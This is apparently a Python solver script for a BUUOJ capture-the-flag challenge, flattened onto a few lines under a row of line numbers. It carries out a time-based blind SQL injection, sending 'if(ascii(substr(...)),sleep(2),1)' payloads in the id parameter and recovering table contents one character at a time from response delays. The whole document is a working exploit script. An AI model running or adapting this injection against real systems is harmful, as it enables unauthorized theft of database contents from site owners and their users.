1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import requests import time start=0 end=0 using=0 st = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&\()*' +,-./:;" flag ='' url = "http://9f146922-110f-45e5-a8b6-4b6fffbce466.node5.buuoj.cn:81/?id='if(length(database())like({}),sleep(3),1)"
for i in range(1,1000): for s in range (32,177) : url= "http://758d4b32-13c8-42cc-9228-a7fe9aa9ffaf.node5.buuoj.cn:81/?id=if(ascii(substr((select/**/group_concat(name)/**/from/**/items),{},1))like('{}'),sleep(2),1)".format(i,s) start=time.time() requests.get(url) end=time.time() using= end - start if using > 3: flag=flag + chr(s) print("tables name=",flag,"using time=",using,"number string:",i) r=1 break print("using time=",using,"string:",chr(s)) time.sleep(0.1) print(flag) r=0 if r == 0: break
|